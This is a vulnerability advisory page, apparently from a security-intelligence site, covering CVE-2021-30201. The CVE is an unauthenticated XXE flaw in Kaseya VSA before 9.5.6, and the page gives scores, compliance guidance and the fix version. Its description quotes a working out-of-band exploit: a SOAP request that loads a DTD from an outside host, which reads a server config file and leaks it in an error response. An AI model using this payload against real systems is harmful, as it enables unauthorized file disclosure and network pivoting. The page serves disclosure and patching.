Unauthenticated XML External Entity vulnerability in Kaseya VSA < v9.5.6 (CVE-2021-30201)
Published Sources: CVE.org
What is affected, what to do
The API /vsaWS/KaseyaWS.asmx can be used to submit XML to the system. When this XML is processed (external) entities are insecurely processed and fetched by the system and returned to the attacker.
Update Kaseya VSA to version 9.5.6.
- Affected
- Kaseya VSA
lt *..9.5.6
- Kaseya VSA
- Fixed in
- Kaseya VSA
9.5.6
- Kaseya VSA
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Metrics
7.5
Priority
XIEM Effective CVSS: highest available CVSS rating from NVD and vendor data.
Source: NVD, CVSS v3
7.5
CVSS v3
Severity High on the scale from 0 to 10.
Source: CVE.org
26.1 %
EPSS score
Elevated — model estimates 10-50% exploitation likelihood.
Source: FIRST EPSS, percentile 98.0
Show all metrics
- Severity
- High
Priority (0–325)
The priority score is a consolidated metric that condenses several individual signals into a single, action-guiding ranking: technical severity (CVSS), exploitation likelihood (EPSS), known-exploited status (KEV) and the context of the affected asset. The aim is to answer the only truly important question in vulnerability management: what first?
Read in glossary- 114.30 Methodology
Exploit maturity
An exploit is code or a technique that specifically uses a concrete vulnerability to force unintended behaviour — such as executing code or escalating privileges. It is the tool that turns a theoretical flaw into a practical attack.
Read in glossary- no public PoC known
XIEM Effective CVSS
XIEM® is the tiered managed-security operating model from NEOSEC and a registered trademark of NEOSEC GmbH. It extends classic SIEM — the central collection, normalisation and correlation of security-relevant events — with endpoint forensics, network visibility and deception technology, and consolidates them into three building tiers: Sentry, Orchestrate and Command.
Read in glossary- 7.5 Methodology
CVSS v3
CVSS is the globally established, open standard for assessing the technical severity of a vulnerability on a scale from 0 to 10. It describes how easily a flaw can be exploited and what damage it can cause — but not how likely its actual exploitation is. CVSS and the complementary EPSS deliberately answer different questions.
Read in glossary- 7.5
EPSS score
The EPSS score is the absolute model output for an individual vulnerability: the estimated probability of real-world exploitation within the next 30 days, expressed as a value between 0 and 1 (i.e. 0 % to 100 %). A score of 0.42 means „the model estimates a 42 % chance of real-world exploitation within 30 days“.
Read in glossary- 26.1 %
- Elevated — model estimates 10-50% exploitation likelihood.
EPSS percentile
The EPSS percentile is the relative position of a vulnerability within all EPSS-scored CVEs, expressed as a value between 0 and 1. A percentile of 0.90 means „this CVE has a higher EPSS score than 90 % of all other scored CVEs“. Unlike the EPSS score, it is not a probability — but a positioning within a ranking.
Read in glossary- 98.0
- Critical — this CVE ranks in the top fifth of all CVEs scored today (rank ≥ 80%).
KEV status
The KEV catalogue is a list maintained by the US authority CISA of vulnerabilities for which active exploitation in the wild has been confirmed. It answers not the question „how severe?“ but „is it already being attacked?“ — thereby sharply prioritising patching.
Read in glossary- —
- Published
Detection rules
No NEOSEC detection rule is available for this vulnerability yet.
Classification under NIS2 and CRA
Rule-based classification from exploitation status and severity. It does not replace a case-by-case assessment.
NIS2
NIS2 is EU Directive (EU) 2022/2555 to raise the level of cybersecurity across the Union. It substantially broadens obligations compared with the first NIS directive: more sectors, mandatory risk management, staged reporting duties and personal accountability of senior management.
Read in glossary- High technical severity: assess and remediate the vulnerability in vulnerability handling under Art. 21(2)(e) NIS2 and document the decision.
CRA
The CRA is EU Regulation (EU) 2024/2847 setting horizontal cybersecurity requirements for „products with digital elements“ — from industrial controllers and software to connected consumer devices. For the first time manufacturers must ensure security across the entire product lifecycle, handle vulnerabilities and provide security updates.
Read in glossary- From 11.12.2027, Annex I Part II CRA requires manufacturers of affected products with digital elements to handle vulnerabilities without delay and provide security updates.
ISO/IEC 27001
ISO/IEC 27001 is the internationally leading standard for an information security management system (ISMS). It describes a risk-based, process-oriented framework to systematically plan, implement, review and improve information security.
Read in glossary- Control A.8.8, management of technical vulnerabilities: assess relevance to your systems, plan remediation and keep evidence.
Description
The API /vsaWS/KaseyaWS.asmx can be used to submit XML to the system. When this XML is processed (external) entities are insecurely processed and fetched by the system and returned to the attacker. Detailed description Given the following request: ``` POST /vsaWS/KaseyaWS.asmx HTTP/1.1 Content-Type: text/xml;charset=UTF-8 Host: 192.168.1.194:18081 Content-Length: 406 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:kas="KaseyaWS"> <soapenv:Header/> <soapenv:Body> <kas:PrimitiveResetPassword> <!--type: string--> <kas:XmlRequest><![CDATA[<!DOCTYPE data SYSTEM "http://192.168.1.170:8080/oob.dtd"><data>&send;</data>]]> </kas:XmlRequest> </kas:PrimitiveResetPassword> </soapenv:Body> </soapenv:Envelope> ``` And the following XML file hosted at http://192.168.1.170/oob.dtd: ``` <!ENTITY % file SYSTEM "file://c:\\kaseya\\kserver\\kserver.ini"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; ``` The server will fetch this XML file and process it, it will read the file c:\\kaseya\\kserver\\kserver.ini and returns the content in the server response like below. Response: ``` HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Type: text/xml; charset=utf-8 Date: Fri, 02 Apr 2021 10:07:38 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 2677 <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><soap:Fault><faultcode>soap:Server</faultcode><faultstring>Server was unable to process request. ---> There is an error in XML document (24, -1000).\r\n\r\nSystem.Xml.XmlException: Fragment identifier '######################################################################## # This is the configuration file for the KServer. # Place it in the same directory as the KServer executable # A blank line or new valid section header [] terminates each section. # Comment lines start with ; or # ######################################################################## <snip> ``` Security issues discovered --- * The API insecurely resolves external XML entities * The API has an overly verbose error response Impact --- Using this vulnerability an attacker can read any file on the server the webserver process can read. Additionally, it can be used to perform HTTP(s) requests into the local network and thus use the Kaseya system to pivot into the local network.
Source: NVD (NIST), cvelistv5
Affected products
The following versions are affected. Older releases of the same product line are also vulnerable unless stated otherwise.
| Affected versions | Fixed in | ||
|---|---|---|---|
| kaseya | vsa |
|
|
Vendors and products
References & sources
- csirt.divd.nl2021/07/07/Kaseya-Limited-Disclosurex_refsource_CONFIRM, Patch, Third-party advisory
- helpdesk.kaseya.comhc/en-gb/articles/360019966738-9-5-6-Feature-Release-8-May-2021x_refsource_CONFIRM, Release notes, Vendor advisory
- csirt.divd.nlDIVD-2021-00011x_refsource_CONFIRM, Patch, Third-party advisory
- csirt.divd.nlCVE-2021-30201x_refsource_CONFIRM, Exploit, Third-party advisory
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<a href="https://intel.neosec.eu/en/cve/CVE-2021-30201"><img src="https://intel.neosec.eu/badge/cve/CVE-2021-30201.svg?lang=en" alt="CVE-2021-30201 – NEOSEC Intel" height="20"></a>